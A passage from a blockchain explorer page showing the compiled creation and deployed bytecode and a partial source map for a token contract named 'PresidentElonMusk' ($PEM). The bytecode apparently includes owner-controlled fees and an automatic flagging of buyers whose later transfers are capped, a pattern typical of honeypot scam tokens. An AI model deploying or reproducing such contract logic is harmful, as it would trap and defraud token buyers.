6000818361148c5760405162461bcd60e51b81526004016107059190611862565b50600061122d8486611ae6565b806114a6576114a66114ea565b6114b1848484611518565b8061077f5761077f601154600f55601254601055565b60008060006114d461160f565b90925090506114e38282610bbb565b9250505090565b600f541580156114fa5750601054155b1561150157565b600f80546011556010805460125560009182905555565b60008060008060008061152a87611651565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061155c90876116ae565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461158b90866116f0565b6001600160a01b0389166000908152600360205260409020556115ad8161174f565b6115b78483611799565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115fc91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061162b8282610bbb565b82101561164857505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061166e8a600f546010546117bd565b925092509250600061167e6114c7565b905060008060006116918e878787611812565b919e509c509a509598509396509194505050505091939550919395565b6000610bb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fc565b6000806116fd8385611b08565b905083811015610bb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b60006117596114c7565b905060006117678383610b32565b3060009081526003602052604090205490915061178490826116f0565b30600090815260036020526040902055505050565b6007546117a690836116ae565b6007556008546117b690826116f0565b6008555050565b60008080806117d760646117d18989610b32565b90610bbb565b905060006117ea60646117d18a89610b32565b90506000611802826117fc8b866116ae565b906116ae565b9992985090965090945050505050565b60008080806118218886610b32565b9050600061182f8887610b32565b9050600061183d8888610b32565b9050600061184f826117fc86866116ae565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561188f57858101830151858201604001528201611873565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461081557600080fd5b600080604083850312156118d857600080fd5b82356118e3816118b0565b946020939093013593505050565b60008060006060848603121561190657600080fd5b8335611911816118b0565b92506020840135611921816118b0565b929592945050506040919091013590565b8035801515811461194257600080fd5b919050565b60008060006040848603121561195c57600080fd5b833567ffffffffffffffff8082111561197457600080fd5b818601915086601f83011261198857600080fd5b81358181111561199757600080fd5b8760208260051b85010111156119ac57600080fd5b6020928301955093506119c29186019050611932565b90509250925092565b6000602082840312156119dd57600080fd5b610bb482611932565b6000602082840312156119f857600080fd5b8135610bb4816118b0565b600060208284031215611a1557600080fd5b5035919050565b60008060408385031215611a2f57600080fd5b8235611a3a816118b0565b91506020830135611a4a816118b0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ac857611ac8611aa0565b5060010190565b808202811582820484141761065757610657611aa0565b600082611b0357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561065757610657611aa0565b8181038181111561065757610657611aa0565b600060208284031215611b4057600080fd5b8151610bb4816118b0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b9b5784516001600160a01b031683529383019391830191600101611b76565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d83456b86044c75e16b68f46caa24a7c4f3f3fa93beffe0cfc38a9ea8025d7ae64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c80638da5cb5b1161010d578063c3c8cd80116100a0578063dd62ed3e1161006f578063dd62ed3e14610595578063ea1644d5146105db578063eeac652a146105fb578063f2fde38b14610611578063f77d1bd81461063157600080fd5b8063c3c8cd8014610527578063caac79341461053c578063cf2ab50b1461055c578063dc51c14c1461057657600080fd5b806398a5c315116100dc57806398a5c315146104bd578063a9059cbb146104dd578063b850c0c1146104fd578063b870768a1461051257600080fd5b80638da5cb5b1461042c5780638f87b66a1461044a5780638f9a55c01461047a57806395d89b411461049057600080fd5b80634565d6f5116101855780636fc3eaec116101545780636fc3eaec146103cc57806370a08231146103e1578063715018a6146104015780637d1db4a51461041657600080fd5b80634565d6f51461034a57806349bd5a5e1461036c57806362940cc41461038c5780636d8aa8f8146103ac57600080fd5b806323b872dd116101c157806323b872dd146102d85780632fd689e3146102f8578063313ce5671461030e5780633d6a9afe1461032a57600080fd5b806306fdde03146101fe578063095ea7b31461024a5780631694505e1461027a57806318160ddd146102b257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082019091526011815270507265736964656e74456c6f6e4d75736b60781b60208201525b6040516102419190611862565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046118c5565b610646565b6040519015158152602001610241565b34801561028657600080fd5b5060155461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f33660046118f1565b61065d565b34801561030457600080fd5b506102ca601a5481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060135461029a906001600160a01b031681565b34801561035657600080fd5b5061036a610365366004611947565b6106c6565b005b34801561037857600080fd5b5060165461029a906001600160a01b031681565b34801561039857600080fd5b5060015461029a906001600160a01b031681565b3480156103b857600080fd5b5061036a6103c73660046119cb565b610785565b3480156103d857600080fd5b5061036a6107cd565b3480156103ed57600080fd5b506102ca6103fc3660046119e6565b610818565b34801561040d57600080fd5b5061036a61083a565b34801561042257600080fd5b506102ca60175481565b34801561043857600080fd5b506000546001600160a01b031661029a565b34801561045657600080fd5b5061026a6104653660046119e6565b600e6020526000908152604090205460ff1681565b34801561048657600080fd5b506102ca60185481565b34801561049c57600080fd5b506040805180820190915260048152632450454d60e01b6020820152610234565b3480156104c957600080fd5b5061036a6104d8366004611a03565b6108ae565b3480156104e957600080fd5b5061026a6104f83660046118c5565b6108dd565b34801561050957600080fd5b5061036a6108ea565b34801561051e57600080fd5b5061036a61092a565b34801561053357600080fd5b5061036a610965565b34801561054857600080fd5b5060145461029a906001600160a01b031681565b34801561056857600080fd5b50600d5461026a9060ff1681565b34801561058257600080fd5b50600d5461026a90610100900460ff1681565b3480156105a157600080fd5b506102ca6105b0366004611a1c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105e757600080fd5b5061036a6105f6366004611a03565b6109b9565b34801561060757600080fd5b506102ca60195481565b34801561061d57600080fd5b5061036a61062c3660046119e6565b6109fd565b34801561063d57600080fd5b5061036a610ae7565b6000610653338484610bfd565b5060015b92915050565b600061066a848484610d21565b6106bc84336106b785604051806060016040528060288152602001611bbd602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906111fc565b610bfd565b5060019392505050565b6001546001600160a01b03163314806106e957506000546001600160a01b031633145b61070e5760405162461bcd60e51b815260040161070590611a55565b60405180910390fd5b60005b8281101561077f5781600e600086868581811061073057610730611a8a565b905060200201602081019061074591906119e6565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061077781611ab6565b915050610711565b50505050565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161070590611a55565b60168054911515600160a81b0260ff60a81b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061080257506014546001600160a01b0316336001600160a01b0316145b61080b57600080fd5b4761081581611236565b50565b6001600160a01b03811660009081526003602052604081205461065790611274565b6000546001600160a01b031633146108645760405162461bcd60e51b815260040161070590611a55565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260040161070590611a55565b601a55565b6000610653338484610d21565b6000546001600160a01b031633146109145760405162461bcd60e51b815260040161070590611a55565b60006009819055600b819055600a819055600c55565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161070590611a55565b600d805461ffff1916610101179055565b6013546001600160a01b0316336001600160a01b0316148061099a57506014546001600160a01b0316336001600160a01b0316145b6109a357600080fd5b60006109ae30610818565b9050610815816112f1565b6001546001600160a01b03163314806109dc57506000546001600160a01b031633145b6109f85760405162461bcd60e51b815260040161070590611a55565b601855565b6000546001600160a01b03163314610a275760405162461bcd60e51b815260040161070590611a55565b6001600160a01b038116610a8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331480610b0a57506000546001600160a01b031633145b610b265760405162461bcd60e51b815260040161070590611a55565b600d805460ff19169055565b600082600003610b4457506000610657565b6000610b508385611acf565b905082610b5d8583611ae6565b14610bb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b9392505050565b6000610bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146b565b6001600160a01b038316610c5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610cc05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b60008111610e495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6000546001600160a01b03848116911614801590610e7557506000546001600160a01b03838116911614155b156110f5576016546001600160a01b03838116911614610eff5760185481610e9c84610818565b610ea69190611b08565b10610eff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610705565b600d54610100900460ff1615610f82576001600160a01b0383166000908152600e602052604090205460ff1615610f8257601954811115610f825760405162461bcd60e51b815260206004820152601a60248201527f544f4b454e3a20566f6c756e74656572466c6f6f7220566573740000000000006044820152606401610705565b6000610f8d30610818565b601a54601754919250821015908210610fa65760175491505b808015610fbd5750601654600160a01b900460ff16155b8015610fd757506016546001600160a01b03868116911614155b8015610fec5750601654600160a81b900460ff165b801561101157506001600160a01b03851660009081526006602052604090205460ff16155b801561103657506001600160a01b03841660009081526006602052604090205460ff16155b1561105657611044826112f1565b4780156110545761105447611236565b505b600d5460ff16801561109557506016546001600160a01b038581169116148015906110955750600d546001600160a01b03858116620100009092041614155b80156110af57506000546001600160a01b03868116911614155b80156110c957506000546001600160a01b03858116911614155b156110f2576001600160a01b0384166000908152600e60205260409020805460ff191660011790555b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061113757506001600160a01b03831660009081526006602052604090205460ff165b8061116957506016546001600160a01b0385811691161480159061116957506016546001600160a01b03848116911614155b15611176575060006111f0565b6016546001600160a01b0385811691161480156111a157506015546001600160a01b03848116911614155b156111b357600954600f55600a546010555b6016546001600160a01b0384811691161480156111de57506015546001600160a01b03858116911614155b156111f057600b54600f55600c546010555b61077f84848484611499565b600081848411156112205760405162461bcd60e51b81526004016107059190611862565b50600061122d8486611b1b565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611270573d6000803e3d6000fd5b5050565b60006007548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610705565b60006112e56114c7565b9050610bb48382610bbb565b6016805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611a8a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611b2e565b816001815181106113c9576113c9611a8a565b6001600160a01b0392831660209182029290920101526015546113ef9130911684610bfd565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611b4b565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506016805460ff60a01b1916905550505050565b6000818361148c5760405162461bcd60e51b81526004016107059190611862565b50600061122d8486611ae6565b806114a6576114a66114ea565b6114b1848484611518565b8061077f5761077f601154600f55601254601055565b60008060006114d461160f565b90925090506114e38282610bbb565b9250505090565b600f541580156114fa5750601054155b1561150157565b600f80546011556010805460125560009182905555565b60008060008060008061152a87611651565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061155c90876116ae565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461158b90866116f0565b6001600160a01b0389166000908152600360205260409020556115ad8161174f565b6115b78483611799565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115fc91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061162b8282610bbb565b82101561164857505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061166e8a600f546010546117bd565b925092509250600061167e6114c7565b905060008060006116918e878787611812565b919e509c509a509598509396509194505050505091939550919395565b6000610bb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fc565b6000806116fd8385611b08565b905083811015610bb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b60006117596114c7565b905060006117678383610b32565b3060009081526003602052604090205490915061178490826116f0565b30600090815260036020526040902055505050565b6007546117a690836116ae565b6007556008546117b690826116f0565b6008555050565b60008080806117d760646117d18989610b32565b90610bbb565b905060006117ea60646117d18a89610b32565b90506000611802826117fc8b866116ae565b906116ae565b9992985090965090945050505050565b60008080806118218886610b32565b9050600061182f8887610b32565b9050600061183d8888610b32565b9050600061184f826117fc86866116ae565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561188f57858101830151858201604001528201611873565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461081557600080fd5b600080604083850312156118d857600080fd5b82356118e3816118b0565b946020939093013593505050565b60008060006060848603121561190657600080fd5b8335611911816118b0565b92506020840135611921816118b0565b929592945050506040919091013590565b8035801515811461194257600080fd5b919050565b60008060006040848603121561195c57600080fd5b833567ffffffffffffffff8082111561197457600080fd5b818601915086601f83011261198857600080fd5b81358181111561199757600080fd5b8760208260051b85010111156119ac57600080fd5b6020928301955093506119c29186019050611932565b90509250925092565b6000602082840312156119dd57600080fd5b610bb482611932565b6000602082840312156119f857600080fd5b8135610bb4816118b0565b600060208284031215611a1557600080fd5b5035919050565b60008060408385031215611a2f57600080fd5b8235611a3a816118b0565b91506020830135611a4a816118b0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ac857611ac8611aa0565b5060010190565b808202811582820484141761065757610657611aa0565b600082611b0357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561065757610657611aa0565b8181038181111561065757610657611aa0565b600060208284031215611b4057600080fd5b8151610bb4816118b0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b9b5784516001600160a01b031683529383019391830191600101611b76565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d83456b86044c75e16b68f46caa24a7c4f3f3fa93beffe0cfc38a9ea8025d7ae64736f6c63430008110033
Deployed Bytecode Sourcemap
4624:13267:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7278:83;;;;;;;;;;-1:-1:-1;7348:5:0;;;;;;;;;;;;-1:-1:-1;;;7348:5:0;;;;7278:83;;;;;;;:::i;:::-;;;;;;;;8203:193;;;;;;;;;;-1:-1:-1;8203:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8203:193:0;1023:187:1;6074:41:0;;;;;;;;;;-1:-1:-1;6074:41:0;;;;-1:-1:-1;;;;;6074:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;6074:41:0;1215:229:1;7555:95:0;;;;;;;;;;-1:-1:-1;5189:24:0;7555:95;;;1595:25:1;;;1583:2;1568:18;7555:95:0;1449:177:1;8404:446:0;;;;;;;;;;-1:-1:-1;8404:446:0;;;;;:::i;:::-;;:::i;6426:50::-;;;;;;;;;;;;;;;;7464:83;;;;;;;;;;-1:-1:-1;7464:83:0;;4863:1;2234:36:1;;2222:2;2207:18;7464:83:0;2092:184:1;5932:64:0;;;;;;;;;;-1:-1:-1;5932:64:0;;;;-1:-1:-1;;;;;5932:64:0;;;13216:207;;;;;;;;;;-1:-1:-1;13216:207:0;;;;;:::i;:::-;;:::i;:::-;;6122:28;;;;;;;;;;-1:-1:-1;6122:28:0;;;;-1:-1:-1;;;;;6122:28:0;;;1362:25;;;;;;;;;;-1:-1:-1;1362:25:0;;;;-1:-1:-1;;;;;1362:25:0;;;17660:101;;;;;;;;;;-1:-1:-1;17660:101:0;;;;;:::i;:::-;;:::i;13784:235::-;;;;;;;;;;;;;:::i;7658:138::-;;;;;;;;;;-1:-1:-1;7658:138:0;;;;;:::i;:::-;;:::i;2111:148::-;;;;;;;;;;;;;:::i;6233:37::-;;;;;;;;;;;;;;;;1742:79;;;;;;;;;;-1:-1:-1;1780:7:0;1807:6;-1:-1:-1;;;;;1807:6:0;1742:79;;5650:53;;;;;;;;;;-1:-1:-1;5650:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6277:57;;;;;;;;;;;;;;;;7369:87;;;;;;;;;;-1:-1:-1;7441:7:0;;;;;;;;;;;;-1:-1:-1;;;7441:7:0;;;;7369:87;;17469:139;;;;;;;;;;-1:-1:-1;17469:139:0;;;;;:::i;:::-;;:::i;7804:199::-;;;;;;;;;;-1:-1:-1;7804:199:0;;;;;:::i;:::-;;:::i;12799:167::-;;;;;;;;;;;;;:::i;12974:133::-;;;;;;;;;;;;;:::i;13540:236::-;;;;;;;;;;;;;:::i;6003:62::-;;;;;;;;;;-1:-1:-1;6003:62:0;;;;-1:-1:-1;;;;;6003:62:0;;;5471:43;;;;;;;;;;-1:-1:-1;5471:43:0;;;;;;;;5521:38;;;;;;;;;;-1:-1:-1;5521:38:0;;;;;;;;;;;8011:184;;;;;;;;;;-1:-1:-1;8011:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;8160:18:0;;;8128:7;8160:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8011:184;17769:113;;;;;;;;;;-1:-1:-1;17769:113:0;;;;;:::i;:::-;;:::i;6341:72::-;;;;;;;;;;;;;;;;2267:244;;;;;;;;;;-1:-1:-1;2267:244:0;;;;;:::i;:::-;;:::i;13113:97::-;;;;;;;;;;;;;:::i;8203:193::-;8305:4;8327:39;516:10;8350:7;8359:6;8327:8;:39::i;:::-;-1:-1:-1;8384:4:0;8203:193;;;;;:::o;8404:446::-;8536:4;8553:36;8563:6;8571:9;8582:6;8553:9;:36::i;:::-;8600:220;8623:6;516:10;8671:138;8727:6;8671:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8671:19:0;;;;;;:11;:19;;;;;;;;516:10;8671:33;;;;;;;;;;:37;:138::i;:::-;8600:8;:220::i;:::-;-1:-1:-1;8838:4:0;8404:446;;;;;:::o;13216:207::-;1994:10;;-1:-1:-1;;;;;1994:10:0;516;1994:26;;:52;;-1:-1:-1;2024:6:0;;-1:-1:-1;;;;;2024:6:0;516:10;2024:22;1994:52;1986:97;;;;-1:-1:-1;;;1986:97:0;;;;;;;:::i;:::-;;;;;;;;;13304:9:::1;13300:116;13319:19:::0;;::::1;13300:116;;;13396:8;13360:20;:33;13381:8;;13390:1;13381:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13360:33:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13360:33:0;:44;;-1:-1:-1;;13360:44:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13340:3;::::1;::::0;::::1;:::i;:::-;;;;13300:116;;;;13216:207:::0;;;:::o;17660:101::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;17727:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;17727:26:0::1;-1:-1:-1::0;;;;17727:26:0;;::::1;::::0;;;::::1;::::0;;17660:101::o;13784:235::-;13850:19;;-1:-1:-1;;;;;13850:19:0;516:10;-1:-1:-1;;;;;13834:35:0;;:72;;;-1:-1:-1;13889:17:0;;-1:-1:-1;;;;;13889:17:0;516:10;-1:-1:-1;;;;;13873:33:0;;13834:72;13826:81;;;;;;13947:21;13979:32;13947:21;13979:12;:32::i;:::-;13815:204;13784:235::o;7658:138::-;-1:-1:-1;;;;;7771:16:0;;7724:7;7771:16;;;:7;:16;;;;;;7751:37;;:19;:37::i;2111:148::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;2218:1:::1;2202:6:::0;;2181:40:::1;::::0;-1:-1:-1;;;;;2202:6:0;;::::1;::::0;2181:40:::1;::::0;2218:1;;2181:40:::1;2249:1;2232:19:::0;;-1:-1:-1;;;;;;2232:19:0::1;::::0;;2111:148::o;17469:139::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;17560:19:::1;:40:::0;17469:139::o;7804:199::-;7909:4;7931:42;516:10;7955:9;7966:6;7931:9;:42::i;12799:167::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;12871:1:::1;12854:14;:18:::0;;;12883:15:::1;:19:::0;;;12913:12:::1;:16:::0;;;12940:13:::1;:17:::0;12799:167::o;12974:133::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;13033:23:::1;:30:::0;;-1:-1:-1;;13074:25:0;;;;;12974:133::o;13540:236::-;13606:19;;-1:-1:-1;;;;;13606:19:0;516:10;-1:-1:-1;;;;;13590:35:0;;:72;;;-1:-1:-1;13645:17:0;;-1:-1:-1;;;;;13645:17:0;516:10;-1:-1:-1;;;;;13629:33:0;;13590:72;13582:81;;;;;;13674:23;13700:24;13718:4;13700:9;:24::i;:::-;13674:50;;13735:33;13752:15;13735:16;:33::i;17769:113::-;1994:10;;-1:-1:-1;;;;;1994:10:0;516;1994:26;;:52;;-1:-1:-1;2024:6:0;;-1:-1:-1;;;;;2024:6:0;516:10;2024:22;1994:52;1986:97;;;;-1:-1:-1;;;1986:97:0;;;;;;;:::i;:::-;17844:14:::1;:30:::0;17769:113::o;2267:244::-;1869:6;;-1:-1:-1;;;;;1869:6:0;516:10;1869:22;1861:67;;;;-1:-1:-1;;;1861:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2356:22:0;::::1;2348:73;;;::::0;-1:-1:-1;;;2348:73:0;;5554:2:1;2348:73:0::1;::::0;::::1;5536:21:1::0;5593:2;5573:18;;;5566:30;5632:34;5612:18;;;5605:62;-1:-1:-1;;;5683:18:1;;;5676:36;5729:19;;2348:73:0::1;5352:402:1::0;2348:73:0::1;2458:6;::::0;;2437:38:::1;::::0;-1:-1:-1;;;;;2437:38:0;;::::1;::::0;2458:6;::::1;::::0;2437:38:::1;::::0;::::1;2486:6;:17:::0;;-1:-1:-1;;;;;;2486:17:0::1;-1:-1:-1::0;;;;;2486:17:0;;;::::1;::::0;;;::::1;::::0;;2267:244::o;13113:97::-;1994:10;;-1:-1:-1;;;;;1994:10:0;516;1994:26;;:52;;-1:-1:-1;2024:6:0;;-1:-1:-1;;;;;2024:6:0;516:10;2024:22;1994:52;1986:97;;;;-1:-1:-1;;;1986:97:0;;;;;;;:::i;:::-;13171:23:::1;:31:::0;;-1:-1:-1;;13171:31:0::1;::::0;;13113:97::o;3107:246::-;3165:7;3189:1;3194;3189:6;3185:47;;-1:-1:-1;3219:1:0;3212:8;;3185:47;3242:9;3254:5;3258:1;3254;:5;:::i;:::-;3242:17;-1:-1:-1;3287:1:0;3278:5;3282:1;3242:17;3278:5;:::i;:::-;:10;3270:56;;;;-1:-1:-1;;;3270:56:0;;6356:2:1;3270:56:0;;;6338:21:1;6395:2;6375:18;;;6368:30;6434:34;6414:18;;;6407:62;-1:-1:-1;;;6485:18:1;;;6478:31;6526:19;;3270:56:0;6154:397:1;3270:56:0;3344:1;3107:246;-1:-1:-1;;;3107:246:0:o;3361:132::-;3419:7;3446:39;3450:1;3453;3446:39;;;;;;;;;;;;;;;;;:3;:39::i;9541:369::-;-1:-1:-1;;;;;9668:19:0;;9660:68;;;;-1:-1:-1;;;9660:68:0;;6758:2:1;9660:68:0;;;6740:21:1;6797:2;6777:18;;;6770:30;6836:34;6816:18;;;6809:62;-1:-1:-1;;;6887:18:1;;;6880:34;6931:19;;9660:68:0;6556:400:1;9660:68:0;-1:-1:-1;;;;;9747:21:0;;9739:68;;;;-1:-1:-1;;;9739:68:0;;7163:2:1;9739:68:0;;;7145:21:1;7202:2;7182:18;;;7175:30;7241:34;7221:18;;;7214:62;-1:-1:-1;;;7292:18:1;;;7285:32;7334:19;;9739:68:0;6961:398:1;9739:68:0;-1:-1:-1;;;;;9818:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9870:32;;1595:25:1;;;9870:32:0;;1568:18:1;9870:32:0;;;;;;;9541:369;;;:::o;9918:2382::-;-1:-1:-1;;;;;10040:18:0;;10032:68;;;;-1:-1:-1;;;10032:68:0;;7566:2:1;10032:68:0;;;7548:21:1;7605:2;7585:18;;;7578:30;7644:34;7624:18;;;7617:62;-1:-1:-1;;;7695:18:1;;;7688:35;7740:19;;10032:68:0;7364:401:1;10032:68:0;-1:-1:-1;;;;;10119:16:0;;10111:64;;;;-1:-1:-1;;;10111:64:0;;7972:2:1;10111:64:0;;;7954:21:1;8011:2;7991:18;;;7984:30;8050:34;8030:18;;;8023:62;-1:-1:-1;;;8101:18:1;;;8094:33;8144:19;;10111:64:0;7770:399:1;10111:64:0;10203:1;10194:6;:10;10186:64;;;;-1:-1:-1;;;10186:64:0;;8376:2:1;10186:64:0;;;8358:21:1;8415:2;8395:18;;;8388:30;8454:34;8434:18;;;8427:62;-1:-1:-1;;;8505:18:1;;;8498:39;8554:19;;10186:64:0;8174:405:1;10186:64:0;1780:7;1807:6;-1:-1:-1;;;;;10267:15:0;;;1807:6;;10267:15;;;;:32;;-1:-1:-1;1780:7:0;1807:6;-1:-1:-1;;;;;10286:13:0;;;1807:6;;10286:13;;10267:32;10263:1311;;;10329:13;;-1:-1:-1;;;;;10323:19:0;;;10329:13;;10323:19;10320:146;;10396:14;;10387:6;10371:13;10381:2;10371:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10363:87;;;;-1:-1:-1;;;10363:87:0;;8916:2:1;10363:87:0;;;8898:21:1;8955:2;8935:18;;;8928:30;8994:34;8974:18;;;8967:62;-1:-1:-1;;;9045:18:1;;;9038:33;9088:19;;10363:87:0;8714:399:1;10363:87:0;10485:18;;;;;;;10482:199;;;-1:-1:-1;;;;;10527:26:0;;;;;;:20;:26;;;;;;;;10524:142;;;10596:19;;10586:6;:29;;10578:68;;;;-1:-1:-1;;;10578:68:0;;9320:2:1;10578:68:0;;;9302:21:1;9359:2;9339:18;;;9332:30;9398:28;9378:18;;;9371:56;9444:18;;10578:68:0;9118:350:1;10578:68:0;10697:28;10728:24;10746:4;10728:9;:24::i;:::-;10806:19;;10869:12;;10697:55;;-1:-1:-1;10782:43:0;;;;10845:36;;10842:124;;10938:12;;10915:35;;10842:124;10986:7;:18;;;;-1:-1:-1;10998:6:0;;-1:-1:-1;;;10998:6:0;;;;10997:7;10986:18;:43;;;;-1:-1:-1;11016:13:0;;-1:-1:-1;;;;;11008:21:0;;;11016:13;;11008:21;;10986:43;:58;;;;-1:-1:-1;11033:11:0;;-1:-1:-1;;;11033:11:0;;;;10986:58;:87;;;;-1:-1:-1;;;;;;11049:24:0;;;;;;:18;:24;;;;;;;;11048:25;10986:87;:114;;;;-1:-1:-1;;;;;;11078:22:0;;;;;;:18;:22;;;;;;;;11077:23;10986:114;10982:386;;;11121:38;11138:20;11121:16;:38::i;:::-;11207:21;11251:22;;11247:106;;11298:35;11311:21;11298:12;:35